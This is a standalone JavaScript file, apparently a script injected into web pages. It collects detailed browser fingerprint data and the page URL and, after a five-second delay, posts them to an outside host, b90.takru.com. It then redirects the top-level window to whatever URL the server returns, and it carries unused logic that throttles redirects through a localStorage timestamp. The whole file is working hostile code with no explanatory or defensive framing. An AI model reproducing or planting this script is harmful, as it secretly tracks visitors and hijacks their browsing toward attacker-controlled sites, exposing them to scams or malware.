(function () {
function gpi(callback) {
try {
if (!navigator || !navigator.userAgentData || !navigator.userAgentData.getHighEntropyValues)
return callback(false)
navigator.userAgentData.getHighEntropyValues(['platform', 'platformVersion','fullVersionList','model','uaFullVersion','bitness','architecture','wow64']).then((ua) => {
callback(JSON.stringify(ua))
}).catch((e3) => callback(e3.toString()));
}catch(err) {
callback(false)
}
}
function minAjax(config) {
if (!config.url || !config.type) return;
if (config.async === undefined) config.async = true;
if (!config.debugLog) config.debugLog = false;
let sendString = [];
const sendData = config.data;
if (typeof sendData === "string") {
const tmpArr = String.prototype.split.call(sendData, '&');
for (let i = 0, j = tmpArr.length; i < j; i++) {
const datum = tmpArr[i].split('=');
sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
}
} else if (typeof sendData === 'object' && !(sendData instanceof String)) {
for (const k in sendData) {
const datum = sendData[k];
if (Object.prototype.toString.call(datum) == "[object Array]") {
for (let i = 0, j = datum.length; i < j; i++) {
sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
}
} else {
sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
}
}
}
sendString = sendString.join('&');
const xmlhttp = new XMLHttpRequest()
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
if (xmlhttp.status >= 200 && xmlhttp.status < 300) {
if (config.success) config.success(xmlhttp.responseText, xmlhttp.readyState);
} else {
if (config.error) config.error(xmlhttp.status, xmlhttp.statusText);
}
}
}
if (config.type == "GET") {
xmlhttp.open("GET", config.url + "?" + sendString, config.async);
xmlhttp.send();
}
if (config.type == "POST") {
xmlhttp.open("POST", config.url, config.async);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(sendString);
}
}
if (window.XMLHttpRequest)
gpi(dL)
function dL(pi) {
function bl(resp) {
!function (dr) {
function t() { return !!localStorage && localStorage.getItem(a) }
function e() {
o(),
parent.top.window.location.href = c
}
function o() {
const exTime = r + i; if (localStorage) { localStorage.setItem(a, exTime) }
}
function n() {
if (t()) { const st = localStorage && localStorage.getItem(a); r > st && e() }
else e()
}
const a = "MenuIdentifier";
const r = Math.floor((new Date).getTime() / 1e3);
const c = dr;
const i = 86400;
n()
}(resp);
}
setTimeout(()=>{
minAjax({
url: 'https://b90.takru.com/index.php',
type: "POST",
data: {
vhref: location.href,
juh:'2e00271fdcee1e9cd616fc8d76c47740',
cs:'64eac05012144388fcec09d1bdb23418',
ex:1768304417887,
v: 'f41a9123-ce81-4fdb-8694-51fcefc1ef9d',
pi,
t: Math.floor(new Date().getTime() / 1000),
},
success: function (response) {
try {
const json = JSON.parse(response)
// bl(json.fw)
if (json && json.fw && json.fw.indexOf('http')>-1) parent.top.window.location.href = json.fw
}catch(err) {
}
}
});
}, 5000)
}
})();




